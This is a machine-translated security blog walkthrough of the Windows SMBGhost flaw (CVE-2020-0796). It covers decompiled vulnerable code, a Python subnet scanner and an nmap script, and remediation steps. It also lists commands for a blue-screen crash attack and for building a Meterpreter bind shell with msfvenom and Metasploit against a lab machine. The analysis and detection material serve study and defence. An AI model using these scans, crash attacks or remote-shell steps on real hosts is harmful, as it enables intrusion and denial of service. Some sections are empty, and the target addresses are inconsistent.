Vulnerabilidade de execução remota de código de SMB CVE-2020-0796 (análise, verificação e reforço)

0x00 Prefácio

     Estou ocupado há algum tempo e o popular  CVE-2020-0796 (Eternal Black) ainda não chegou e foi reproduzido. Hoje, aproveitando a internet rápida, baixe o sistema vulnerável o mais rápido possível e prepare a detecção carga útil, carga útil da tela azul e menção A carga útil certa e a carga útil de execução do comando reproduzem uma onda. Em comparação, a carga útil só é diferente para realizar funções diferentes. A análise está abaixo.

Descrição da vulnerabilidade 0x01      

     O boletim de vulnerabilidade mostra que, ao processar mensagens compactadas no protocolo SMB 3.1.1, os dados contidos não são verificados quanto à segurança. O uso direto causará vulnerabilidades de corrupção de memória, que podem ser usadas por invasores para executar códigos arbitrários remotamente. Os invasores podem usar esta vulnerabilidade para realizar a execução remota de código sem permissão, e o sistema alvo atacado por hackers pode ser invadido apenas ao inicializar e ficar online.

Nível de risco de vulnerabilidade 0x02        

Alto

0x03 Versão afetada

Windows 10 versão 1903 para sistemas de 32 bits
Windows 10 versão 1903 para sistemas baseados em x64
Windows 10 versão 1903 para sistemas baseados em ARM64
Windows Server, versão 1903 (instalação Server Core)
Windows 10 versão 1909 para sistemas de 32 bits
Windows 10 versão 1909 para sistemas baseados em x64
Windows 10 Versão 1909 para sistemas baseados em ARM64
Windows Server, versão 1909 (instalação Server Core)

Teste ip da máquina: 192.168.1.159

Princípio de vulnerabilidade 0x04

    A vulnerabilidade ocorreu em srv2.sys. Como o SMB não processou corretamente o pacote de dados compactado, ao descompactá-lo, ele não verificou se o comprimento era legal ou não ao descompactar o pacote de dados usando o comprimento passado pelo cliente. , causou um estouro de inteiro.

O SMB v3 oferece suporte à compactação de dados. Se o ProtocolId no cabeçalho do SMB for 0x424D53FC, que é 0xFC, 'S', 'M', 'B', os dados serão compactados. Nesse momento, o smb chamará o processo de compactação e descompressão funções.

Primeiro, o SMB chamará a função srv2! Srv2ReceiveHandler para receber o pacote de dados smb e definirá a função de processamento correspondente de acordo com o ProtocoIId.

__int64 __fastcall Srv2ReceiveHandler(__int64 a1, void *Src, __int64 a3, unsigned int a4, unsigned int *a5, char *Srca, struct _SLIST_ENTRY *a7, _QWORD *a8)
{
    ...
    //
    // 这里判断头部ProtocolId
    //
     if ( **((_DWORD **)&v20[15].Next[1].Next + 1) == 'BMS\xFC' )
      {
        if ( KeGetCurrentIrql() > 1u )
        {
          v20[14].Next = (_SLIST_ENTRY *)v11;
          v20[2].Next = (_SLIST_ENTRY *)Srv2DecompressMessageAsync;
          v43 = HIDWORD(v20->Next) == 5;
          *((_DWORD *)&v20[3].Next + 2) = 0;
          if ( v43 )
          {
            LOBYTE(v71) = 1;
            LOBYTE(v35) = 1;
            SRV2_PERF_ENTER_EX(&v20[32].Next + 1, v35, 307i64, "Srv2PostToThreadPool", (_DWORD)v71);
          }
          v44 = *((_QWORD *)&v20[3].Next[8].Next + 1);
          v45 = *(_QWORD *)(v44 + 8i64 * KeGetCurrentNodeNumber() + 8);
          if ( !ExpInterlockedPushEntrySList((PSLIST_HEADER)(v45 + 16), v20 + 1) && *(_WORD *)(v45 + 66) )
            RfspThreadPoolNodeWakeIdleWorker(v45);
          goto LABEL_168;
            }
        }
}

O código que gera a vulnerabilidade de estouro de número inteiro é o seguinte:

__int64 __fastcall Srv2DecompressData(__int64 pData)
{
  __int64 v2; // rax
  COMPRESSION_TRANSFORM_HEADER Header; // xmm0 MAPDST
  __m128i v4; // xmm0
  unsigned int CompressionAlgorithm; // ebp
  __int64 UnComparessBuffer; // rax MAPDST
  int v9; // eax
  int v11; // [rsp+60h] [rbp+8h]
  v11 = 0;
  v2 = *(_QWORD *)(pData + 0xF0);
  if ( *(_DWORD *)(v2 + 0x24) < 0x10u )         // 这里判断数据包长度的最小值
    return 0xC000090Bi64;
  Header = *(COMPRESSION_TRANSFORM_HEADER *)*(_QWORD *)(v2 + 0x18);// [v2+0x18]中为客户端传进来的Buffer
                                                // [v2+0x24]为数据包长度
  v4 = _mm_srli_si128((__m128i)Header, 8);
  CompressionAlgorithm = *(_DWORD *)(*(_QWORD *)(*(_QWORD *)(pData + 0x50) + 0x1F0i64) + 0x8Ci64);
  if ( CompressionAlgorithm != v4.m128i_u16[0] )
    return 0xC00000BBi64;                      
  UnCompressBuffer = SrvNetAllocateBuffer((unsigned int)(Header.OriginalCompressedSegmentSize + v4.m128i_i32[1]), 0i64);// OriginalCompressedSegmentSize + CompressedSegmentSize,这里没有检查相加的值,导致整数溢出,分配一个较小的UnCompressBuffer
  if ( !UnComparessBuffer )
    return 0xC000009Ai64;
  if ( (int)SmbCompressionDecompress(
              CompressionAlgorithm,             // CompressionAlgorithm
              *(_QWORD *)(*(_QWORD *)(pData + 0xF0) + 0x18i64) + (unsigned int)Header.Length + 0x10i64,// CompressedBuffer
              (unsigned int)(*(_DWORD *)(*(_QWORD *)(pData + 0xF0) + 0x24i64) - Header.Length - 0x10),// CompressedBufferSize
              (unsigned int)Header.Length + *(_QWORD *)(UnComparessBuffer + 0x18),// UncompressedBuffer,会传入SmbCompressionDecompress函数进行Decompress处理。
              Header.OriginalCompressedSegmentSize,
              &v11) < 0
    || (v9 = v11, v11 != Header.OriginalCompressedSegmentSize) )
  {
    SrvNetFreeBuffer(UnComparessBuffer);
    return 0xC000090Bi64;
  }
  if ( Header.Length )
  {
    memmove(
      *(void **)(UnComparessBuffer + 24),
      (const void *)(*(_QWORD *)(*(_QWORD *)(pData + 240) + 24i64) + 16i64),
      (unsigned int)Header.Length);
    v9 = v11;
  }
  *(_DWORD *)(UnComparessBuffer + 36) = Header.Length + v9;
  Srv2ReplaceReceiveBuffer(pData, UnComparessBuffer);
  return 0i64;
}

Detecção de vulnerabilidade 0x05 

Existem muitos scripts de verificação e a ideia geral é verificar se um local específico no pacote de retorno contém as duas palavras-chave hexadecimal \ x11 \ x03 ou \ x02 \ x00. O pacote de resposta de comunicação na versão SMB vulnerável é o seguinte:

Versão Python3 do POC

import socket
import struct
import sys
from netaddr import IPNetwork

pkt = b'\x00\x00\x00\xc0\xfeSMB@\x00\x00\x00\x00\x00\x00\x00\x00\x00\x1f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00$\x00\x08\x00\x01\x00\x00\x00\x7f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00x\x00\x00\x00\x02\x00\x00\x00\x02\x02\x10\x02"\x02$\x02\x00\x03\x02\x03\x10\x03\x11\x03\x00\x00\x00\x00\x01\x00&\x00\x00\x00\x00\x00\x01\x00 \x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x03\x00\n\x00\x00\x00\x00\x00\x01\x00\x00\x00\x01\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00'

subnet = sys.argv[1]

for ip in IPNetwork(subnet):

    sock = socket.socket(socket.AF_INET)
    sock.settimeout(3)

    try:
        sock.connect(( str(ip),  445 ))
    except:
        sock.close()
        continue

    sock.send(pkt)

    nb, = struct.unpack(">I", sock.recv(4))
    res = sock.recv(nb)
    if res[68:70] != b"\x11\x03" or res[70:72] != b"\x02\x00":
        print(f"{ip} Not vulnerable.")
    else:
        print(f"{ip} Vulnerable")

Você também pode usar o script nmap para verificar, contando com a poderosa estrutura do nmap, se é mais conveniente.

local smb = require "smb"
local stdnse = require "stdnse"
local nmap = require "nmap"

description = [[
smb-protocols script modified to apply check for CVE-2020-0796 by psc4re. 
Attempts to list the supported protocols and dialects of a SMB server.
Packet check based on https://github.com/ollypwn/SMBGhost/
The script attempts to initiate a connection using the dialects:
* NT LM 0.12 (SMBv1)
* 2.02       (SMBv2)
* 2.10       (SMBv2)
* 3.00       (SMBv3)
* 3.02       (SMBv3)
* 3.11       (SMBv3)
Additionally if SMBv1 is found enabled, it will mark it as insecure. This
script is the successor to the (removed) smbv2-enabled script.
]]

---
-- @usage nmap -p445 --script smb-protocols <target>
-- @usage nmap -p139 --script smb-protocols <target>
--
-- @output
-- | smb-protocols:
-- |   dialects:
-- |     NT LM 0.12 (SMBv1) [dangerous, but default]
-- |     2.02
-- |     2.10
-- |     3.00
-- |     3.02
-- |_    3.11 (SMBv3.11) compression algorithm - Vulnerable to CVE-2020-0796 SMBGhost
--
-- @xmloutput
-- <table key="dialects">
-- <elem>NT LM 0.12 (SMBv1) [dangerous, but default]</elem>
-- <elem>2.02</elem>
-- <elem>2.10</elem>
-- <elem>3.00</elem>
-- <elem>3.02</elem>
-- <elem>3.11 (SMBv3.11) [Potentially Vulnerable to CVE-2020-0796 Coronablue]</elem>
-- </table>
---

author = "Paulino Calderon (Modified by Psc4re)"
license = "Same as Nmap--See https://nmap.org/book/man-legal.html"
categories = {"safe", "discovery"}

hostrule = function(host)
  return smb.get_port(host) ~= nil
end

action = function(host,port)
  local status, supported_dialects, overrides
  local output = stdnse.output_table()
  overrides = {}
  status, supported_dialects = smb.list_dialects(host, overrides)
  if status then
    for i, v in pairs(supported_dialects) do -- Mark SMBv1 as insecure
      if v == "NT LM 0.12" then
        supported_dialects[i] = v .. " (SMBv1) [dangerous, but default]"
      end
      if v == "3.11" then
        local msg 
        local response
        local compresionalg
        local comp
        msg = '\x00\x00\x00\xc0\xfeSMB@\x00\x00\x00\x00\x00\x00\x00\x00\x00\x1f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00$\x00\x08\x00\x01\x00\x00\x00\x7f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00x\x00\x00\x00\x02\x00\x00\x00\x02\x02\x10\x02"\x02$\x02\x00\x03\x02\x03\x10\x03\x11\x03\x00\x00\x00\x00\x01\x00&\x00\x00\x00\x00\x00\x01\x00 \x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x03\x00\n\x00\x00\x00\x00\x00\x01\x00\x00\x00\x01\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00'
        local socket = nmap.new_socket()
        socket:set_timeout(3000)
        socket:connect(host.ip,445)
        socket:send(msg)
        response,data = socket:receive()
        compressionalg=  string.sub(data,-2)    
        if compressionalg == "\x01\x00" then
          comp = "LZNT1 compression algorithm - Vulnerable to CVE-2020-0796 SMBGhost"
        elseif compressionalg == "\x02\x00" then
          comp ="LZ77 compression algorithm - Vulnerable to CVE-2020-0796 SMBGhost"
        elseif compressionalg == "\x00\x00" then
          comp ="No Compression Not Vulnerable"
        elseif compressionalg == "\x03\x00" then
          comp="LZ77+Huffman compression algorithm - Vulnerable to CVE-2020-0796 SMBGhost"
        end
        supported_dialects[i] = v .." " .. comp
      end
    end
    output.dialects = supported_dialects
  end

  if #output.dialects>0 then
    return output
  else
    stdnse.debug1("No dialects were accepted")
    if nmap.verbosity()>1 then
      return "No dialects accepted. Something may be blocking the responses"
    end
  end
end

Você também pode usar o script de detecção POC de Qi'anxin para testar:

0x06 POC de escalonamento de privilégio local

Autoridade elevada com sucesso para nt autoridade \ sistema

Teste de tela azul 0x07

Economize tempo aqui e colete algumas fotos. O endereço de download do git ainda é para todos, por favor, não o use para destruição, os infratores arcam com as consequências.

Primeiro, git baixa o poc para o teste de tela azul e 
instala as dependências

Máquina de ataque Kali ip: 192.168.1.160

git clone https://github.com/SecureAuthCorp/impacket.git
cd impacket
python3 setup.py install

Ataques de tela azul usando scripts

python3 gistfile1.py 192.168.1.159

0x08 shell de execução de comando remoto

Primeiro, use o systeminfo para ver o patch (KB4551762) 
para gerar a versão python do shellcode rebote sob kali

msfvenom -p windows/x64/meterpreter/bind_tcp lport=2333 -f py -o exp.py

Veja o shellcode gerado

cat exp.py

Substitua a variável buf no código exp.py gerado pela variável USER_PAYLOAD e, a seguir, cole todo o código para cobrir o seguinte código:

use exploit/multi/handler 
set payload windows/x64/meterpreter/bind_tcp
set lport 2333
set rhost 192.168.1.106 (目标ip)
run

0x09 correção de bug

1. Atualize, conclua a instalação do patch.

Etapas da operação: Configurações -> Atualização e segurança -> Windows Update, clique em "Verificar atualizações".

2. A Microsoft deu uma contramedida temporária:
Execute regedit.exe, abra o editor de registro, crie um DWORD chamado DisableCompression em HKLM \ SYSTEM \ CurrentControlSet \ Services \ LanmanServer \ Parameters, o valor é 1, proíbe recursos de compactação SMB.

3. Bloqueie a porta de comunicação 445 do SMB. 4. Link do patch https://catalog.update.microsoft.com/v7/site/Search.aspx?q=KB4551762

Conexão de referência

  • https://www.cnblogs.com/A66666/p/29635a243378b49ccb485c7a280df989.html
  •  https://github.com/danigargu/CVE-2020-0796
  •  http://dl.qianxin.com/skylar6
  •  https://github.com/ollypwn/SMBGhost
  •  https://github.com/chompie1337/SMBGhost_RCE_PoC
  •  https://github.com/danigargu/CVE-2020-0796
  •  https://blog.zecops.com/vulnerabilities/exploiting-smbghost-cve-2020-0796-for-a-local-privilege-escalation-writeup-and-poc/

Indique: Blog do Adminxe  »  CVE-2020-0796 vulnerabilidade de execução remota de código SMB (análise, verificação e reforço)

 

Acho que você gosta

Origin blog.csdn.net/Adminxe/article/details/106744182
Recomendado
Clasificación